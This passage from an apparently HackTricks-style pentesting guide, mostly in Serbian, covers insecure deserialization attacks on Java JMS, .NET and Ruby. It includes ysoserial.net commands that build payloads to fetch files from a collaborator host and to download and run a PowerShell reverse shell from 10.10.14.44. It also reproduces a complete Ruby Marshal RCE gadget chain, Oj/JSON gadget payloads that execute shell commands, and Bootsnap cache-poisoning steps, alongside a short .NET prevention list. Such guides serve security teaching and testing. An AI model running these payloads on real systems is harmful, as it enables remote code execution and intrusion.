- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Pronađite šta je JNDI Injection, kako ga zloupotrebiti preko RMI, CORBA & LDAP i kako iskoristiti log4shell (i primer ove ranjivosti) na sledećoj stranici:
{{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md {{#endref}}
JMS - Java Message Service
Java Message Service (JMS) API je Java API orijentisan na poruke (message-oriented middleware) za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođač–potrošač. JMS je deo Java Platform, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, a od tada ga vodi Java Community Process. To je standard poruka koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava da komunikacija između različitih komponenti distribuirane aplikacije bude slabo povezana (loosely coupled), pouzdana i asinhrona. (Iz Wikipedia).
Products
Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
Exploitation
U suštini postoji veliki broj servisa koji koriste JMS na nesiguran način. Dakle, ako imate dovoljno privilegija da pošaljete poruke tim servisima (obično će vam biti potrebni validni kredencijali) mogli biste poslati maliciozne serijalizovane objekte koji će biti deserializovani od strane consumer/subscriber.
To znači da će u ovoj eksploataciji svi klijenti koji budu koristili tu poruku biti inficirani.
Treba imati na umu da čak i ako je servis ranjiv (zbog nesigurne deserializacije korisničkog unosa), i dalje morate pronaći validne gadgets da biste iskoristili ranjivost.
Alat JMET je napravljen da se poveže na ove servise i napadne ih slanjem više malicioznih serijalizovanih objekata koristeći poznate gadgets. Ovi exploit-i će raditi ako je servis i dalje ranjiv i ako se bilo koji od korišćenih gadgets nalazi u ranjivoj aplikaciji.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
U kontekstu .Net-a, deserialization exploit-i funkcionišu na sličan način kao oni u Javi, gde se gadgets iskorišćavaju da pokrenu određeni kod tokom deserializacije objekta.
Fingerprint
WhiteBox
Izvorni kod treba pregledati u potrazi za pojavama:
TypeNameHandling
JavaScriptTypeResolver
Fokus treba biti na serializer-ima koji dozvoljavaju da tip bude određen varijablom pod kontrolom korisnika.
BlackBox
Pretraga bi trebalo da cilja Base64 enkodovani string AAEAAAD///// ili bilo koji sličan obrazac koji bi mogao biti deserializovan na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, JSON ili XML strukture koje sadrže TypeObject
ili $type
.
ysoserial.net
U ovom slučaju možete koristiti alat ysoserial.net da kreirate deserialization exploit-e. Nakon što preuzmete git repozitorijum, treba da kompajlirate alat koristeći, na primer, Visual Studio.
Ako želite da saznate kako ysoserial.net kreira svoje exploite, možete pogledati ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Glavne opcije ysoserial.net su: --gadget
, --formatter
, --output
i --plugin
.
--gadget
se koristi da označi gadget koji će se zloupotrebiti (navodi klasu/funkciju koja će biti zloupotrebljena tokom deserializacije da izvrši komande).--formatter
se koristi da naznači metod koji će serijalizovati exploit (morate znati koju biblioteku back-end koristi za deserializaciju payload-a i koristiti istu za serijalizaciju).--output
se koristi da označi da li želite exploit u raw ili base64 enkodiranom obliku. Napomena: ysoserial.net će enkodirati payload koristeći UTF-16LE (enkodiranje podrazumevano na Windows-u), pa ako dobijete raw i samo ga enkodirate iz linux konzole, možete imati neke probleme sa kompatibilnošću enkodiranja koji će sprečiti exploit da radi ispravno (u HTB JSON box payload je radio i u UTF-16LE i u ASCII, ali to ne znači da će uvek raditi).--plugin
ysoserial.net podržava plugin-e za kreiranje exploit-a za specifične framework-e kao što je ViewState
More ysoserial.net parameters
--minify
će obezbediti manji payload (ako je moguće)--raf -f Json.Net -c "anything"
Ovo će navesti sve gadgets koji se mogu koristiti sa datim formatter-om (Json.Net
u ovom slučaju)--sf xml
možete naznačiti gadget (-g
) i ysoserial.net će tražiti formatter-e koji sadrže "xml" (case insensitive)
ysoserial primeri za kreiranje exploit-a:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net takođe ima veoma interesantan parametar koji pomaže da se bolje razume kako svaki exploit radi: --test
Ako navedete ovaj parametar ysoserial.net će pokušati exploit lokalno, tako da možete testirati da li će vaš payload raditi ispravno.
Ovaj parametar je koristan jer ako pregledate kod pronaći ćete odeljke koda poput sledećeg (iz ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
To znači da će, da bi testirao exploit, code pozvati serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
U prethodnom primeru kod je ranjiv na kreirani exploit. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je ta aplikacija verovatno takođe ranjiva.
Zato parametar --test
omogućava da razumemo koji delovi koda su ranjivi na deserialization exploit koji ysoserial.net može da kreira.
ViewState
Pogledajte ovu POST objavu o kako pokušati eksploatisati __ViewState parameter of .Net da biste izvršili arbitrary code. Ako već znate tajne koje koristi žrtvina mašina, pročitajte ovu objavu da biste znali kako izvršiti kod.
Prevencija
Da biste ublažili rizike povezane sa deserialization u .Net:
- Izbegavajte da tokovi podataka definišu svoje tipove objekata. Koristite
DataContractSerializer
iliXmlSerializer
kad god je moguće. - Za
JSON.Net
, postaviteTypeNameHandling
naNone
:TypeNameHandling = TypeNameHandling.None
- Izbegavajte korišćenje
JavaScriptSerializer
saJavaScriptTypeResolver
. - Ograničite tipove koji se mogu deserializovati, razumevajući inherentne rizike sa .Net tipovima, kao što je
System.IO.FileInfo
, koji može izmeniti svojstva fajlova na serveru i potencijalno dovesti do denial of service napada. - Budite oprezni sa tipovima koji imaju rizična svojstva, kao što je
System.ComponentModel.DataAnnotations.ValidationException
sa svojimValue
svojstvom, koje se može iskoristiti. - Sigurno kontrolišite instanciranje tipova kako biste sprečili napadače da utiču na proces deserialization, što može učiniti ranjivim i
DataContractSerializer
iliXmlSerializer
. - Implementirajte kontrole bele liste koristeći prilagođeni
SerializationBinder
zaBinaryFormatter
iJSON.Net
. - Pratite poznate nesigurne deserialization gadgets unutar .Net i osigurajte da deserializatori ne instanciraju takve tipove.
- Izolujte potencijalno rizičan kod od koda koji ima pristup internetu kako biste izbegli izlaganje poznatih gadgets, kao što je
System.Windows.Data.ObjectDataProvider
u WPF aplikacijama, nepouzdanim izvorima podataka.
Izvori
- Paper o Java i .Net JSON deserialization: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, predavanje: https://www.youtube.com/watch?v=oUAeWhW5b8c i slajdovi: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
U Ruby-ju, serialization se obavlja pomoću dve metode unutar biblioteke marshal. Prva metoda, poznata kao dump, koristi se da transformiše objekat u niz bajtova — ovaj proces se naziva serialization. Suprotno tome, druga metoda, load, služi da vrati niz bajtova nazad u objekat — ovaj proces se naziva deserialization.
Za osiguranje serializovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi za ovu svrhu nalazi se u jednom od sledećih mogućih lokacija:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (više informacija na https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Još jedan RCE lanac za iskorišćavanje Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() metod
Kao što je objašnjeno u ovom izveštaju o ranjivosti, ako neki nesanitizovan korisnički unos stigne do .send()
metoda ruby objekta, ovaj metod omogućava da se pozove bilo koji drugi metod objekta sa bilo kojim parametrima.
Na primer, pozivanje eval i zatim ruby koda kao drugog parametra će omogućiti izvršavanje proizvoljnog koda:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Štaviše, ako je samo jedan parametar od .send()
pod kontrolom napadača, kao što je pomenuto u prethodnom writeupu, moguće je pozvati bilo koju metodu objekta koja ne zahteva argumente ili čiji argumenti imaju podrazumevane vrednosti.
Za ovo, moguće je enumerisati sve metode objekta kako bi se pronašle neke zanimljive metode koje ispunjavaju te uslove.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Proverite kako bi bilo moguće pollute a Ruby class and abuse it in here.
Ruby _json pollution
Kada se u body pošalju vrednosti koje nisu hashable, npr. array, one će biti dodate u novi ključ nazvan _json
. Međutim, napadač takođe može u body postaviti ključ _json
sa proizvoljnim vrednostima koje želi. Ako backend, na primer, proverava verodostojnost nekog parametra, ali zatim koristi parametar _json
za izvršenje neke akcije, može doći do zaobilaženja autorizacije.
Više informacija potražite na Ruby _json pollution page.
Ostale biblioteke
Ova tehnika je preuzeta from this blog post.
Postoje i druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i koje bi zbog toga mogle biti zloupotrebljene za dobijanje RCE tokom insecure deserialization. Sledeća tabela prikazuje neke od tih biblioteka i metod koji se poziva u učitanoj klasi kad se ona unserializuje (funkcija koja se u suštini može zloupotrebiti da bi se dobio RCE):
Biblioteka | Ulazni podaci | Metod koji se pokreće u klasi |
Marshal (Ruby) | Binarni | _load |
Oj | JSON | hash (klasa mora biti stavljena u hash (map) kao ključ) |
Ox | XML | hash (klasa mora biti stavljena u hash (map) kao ključ) |
Psych (Ruby) | YAML | hash (klasa mora biti stavljena u hash (map) kao ključ)init_with |
JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Osnovni primer:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja u svojoj hash
funkciji poziva to_s
, koja zatim poziva spec, koja poziva fetch_path; to je omogućavalo da se natera da preuzme nasumičan URL, što predstavlja odličan detektor ovakvih unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Pored toga, utvrđeno je da se prethodnom tehnikom u sistemu kreira i direktorijum, što je preduslov za zloupotrebu drugog gadgeta kako bi se ovo transformisalo u potpunu RCE uz nešto poput:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
Rails aplikacija ima funkcionalnost za upload fajlova koja omogućava napadaču da proizvoljno upisuje fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao tmp su upisivi zbog Docker-ovog non-root korisnika), to i dalje dozvoljava upis u Bootsnap cache direktorijum (obično pod tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap ubrzava Rails boot time keširanjem kompajliranog Ruby koda, YAML i JSON fajlova. Čuva cache fajlove koji uključuju cache key header (sa poljima kao što su Ruby version, file size, mtime, compile options, itd.) nakon čega sledi kompajlirani kod. Ovaj header se koristi za validaciju cache-a tokom pokretanja aplikacije.
- Gather File Metadata
Napadač prvo izabere ciljnu datoteku koja se verovatno učitava tokom Rails startup-a (na primer, set.rb iz Ruby standardne biblioteke). Izvršavanjem Ruby koda unutar containera izvlače se ključni metadata (kao RUBY_VERSION, RUBY_REVISION, size, mtime, i compile_option). Ovi podaci su neophodni za izradu validnog cache key-a.
- Compute the Cache File Path
Replikujući Bootsnap-ov FNV-1a 64-bit hash mehanizam, određuje se tačan put cache fajla. Ovaj korak osigurava da je maliciozni cache fajl postavljen upravo tamo gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Napadač priprema payload koji:
- Izvršava proizvoljne komande (na primer, pokretanje id da prikaže informacije o procesu).
- Uklanja maliciozni cache nakon izvršenja da bi se izbegla rekurzivna eksploatacija.
- Učitava originalni fajl (npr. set.rb) da se aplikacija ne sruši.
Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim cache key header-om (koristeći prethodno prikupljene metadata i ispravnu verziju za Bootsnap).
- Overwrite and Trigger Execution Korišćenjem arbitrarnog file write vuln-a, napadač upisuje kreirani cache fajl na izračunatu lokaciju. Zatim izaziva restart servera (npr. pisanjem u tmp/restart.txt, koji Puma nadgleda). Tokom restart-a, kada Rails require-uje ciljanu datoteku, maliciozni cache fajl se učitava, što dovodi do remote code execution (RCE).
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load
/marshal_load
as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Uobičajene gadget classes viđene u real chains:
Gem::SpecFetcher
,Gem::Version
,Gem::RequestSet::Lockfile
,Gem::Resolver::GitSpecification
,Gem::Source::Git
. - Tipičan marker sporednog efekta ugrađen u payloads (izvršava se tokom unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Gde se pojavljuje u realnim aplikacijama:
- Rails cache stores i session stores koji su istorijski koristili Marshal
- Backend-i za background job-ove i skladišta objekata zasnovana na fajlovima
- Bilo koja prilagođena perzistencija ili prenos binarnih object blob-ova
Industrializovano otkrivanje gadget-a:
- Grep za konstruktore,
hash
,_load
,init_with
, ili metode sa sporednim efektima koje se pozivaju tokom unmarshal - Koristite CodeQL-ove Ruby unsafe deserialization upite da pratite sources → sinks i izvučete gadget-e
- Validirajte pomoću javnih multi-format PoCs (JSON/XML/YAML/Marshal)
References
- Trail of Bits – Marshal madness: Kratka istorija Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
{{#include ../../banners/hacktricks-training.md}}